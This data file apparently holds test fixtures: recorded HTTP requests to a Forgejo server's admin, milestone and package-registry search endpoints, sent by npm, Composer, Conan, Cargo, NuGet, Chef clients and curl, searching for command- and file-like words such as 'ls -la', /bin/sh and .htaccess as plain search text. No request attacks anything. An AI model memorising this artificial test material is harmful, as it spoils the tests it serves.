{"method": "GET", "target": "/api/v1/admin/emails/search?q=alice", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/admin/unadopted?query=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/admin/unadopted?query=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/admin/unadopted?query=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/admin/unadopted?query=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/admin/unadopted?query=alice%2Fpython3-app", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/admin/unadopted?query=alice%2Flegacy-site", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=v1.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
# The package registries' searches, sent to Forgejo 17.0.1 by each registry's
|
||||
# own client: npm, composer, conan 2 and 1, cargo, dotnet and knife. curl sent
|
||||
# the requests no client sends: the Chef cookbook list with a search, and
|
||||
# NuGet's Packages() with the search in $filter, as NuGet's client builds it for
|
||||
# a feed without Search(). Each searches for words that name commands and files,
|
||||
# such as python3 and .htaccess, and for plain words. A Composer, Conan or npm
|
||||
# name can hold a slash, so those searches are also sent /bin/sh.
|
||||
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=python3&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=powershell&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=ls+-la&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=.htaccess&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=%2Fbin%2Fsh&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=%40alice%2Ftools-cli&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=docker-compose.yml&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=tools&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=python3&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=powershell&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=ls+-la&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=.htaccess&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=%2Fbin%2Fsh&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=alice%2Ftools-cli&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=docker-compose.yml&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=tools&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=python3", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=powershell", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=ls+-la", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=tools%2F%2A", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=tools%2F1.0%40alice%2Fstable", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=tools", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=python3", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=powershell", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=ls+-la", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=tools%2F%2A", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=tools", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=python3&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=powershell&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=ls%20%2Dla&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=%2Ehtaccess&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=docker%2Dcompose%2Eyml&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=tools&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/nuget/query?q=python3&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: bc433449-14e0-4cb0-907b-fcca1ead302b", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/nuget/query?q=powershell&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: e691cf8b-1859-45b1-aa67-e0987eb7474a", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/nuget/query?q=ls%20-la&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: 725a8ab1-a2c3-4924-84dd-a741bd6b8c07", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/nuget/query?q=.htaccess&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: 5b1d333f-6583-4f78-9c23-d776ebbde5cf", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/nuget/query?q=docker-compose.yml&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: 23a81a25-0828-4311-8d2d-66f0d5161b6b", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/nuget/query?q=tools&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: ebf39a79-969d-4ac5-b5a0-5119c2d43ccc", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='python3'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: 825cbe04-63e7-414a-8394-2ecf74c68211", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='powershell'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: f61bfff6-1c26-4024-bc17-6b78dcef2edc", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='ls%20-la'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: e894f984-8abf-4a23-960a-d1a09c94eaa3", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='.htaccess'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: 33e3aa1b-14cb-4854-821a-c3eb9e5be7ee", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='docker-compose.yml'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: c478a564-7cf9-4282-9f00-bf5b7966607d", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='tools'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: 8dfa5583-4005-4134-9343-ddb4c68c125b", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=python3&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: e7210054-9f40-4a58-8228-beeab1e3bb05", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=powershell&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: 0f3b26a8-7ca2-4b52-a9bb-c23a25c4172c", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=ls%20-la&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: d0fa60d5-6948-4149-845f-e38d340cc09a", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=.htaccess&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: 8c22d5d2-1691-4488-89ca-a405dd7a15cc", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=docker-compose.yml&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: 0a1bd4b1-0009-4d1d-931d-d1c19b26dd8b", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=tools&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: f858e4b5-10bc-4633-a517-f165a65ac4cb", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=python3&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=powershell&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=ls%20-la&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=.htaccess&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=docker-compose.yml&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=tools&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('python3',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('python3',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20python3%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('powershell',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('powershell',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20powershell%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('.htaccess',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('.htaccess',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20.htaccess%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20docker-compose.yml%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
|
||||
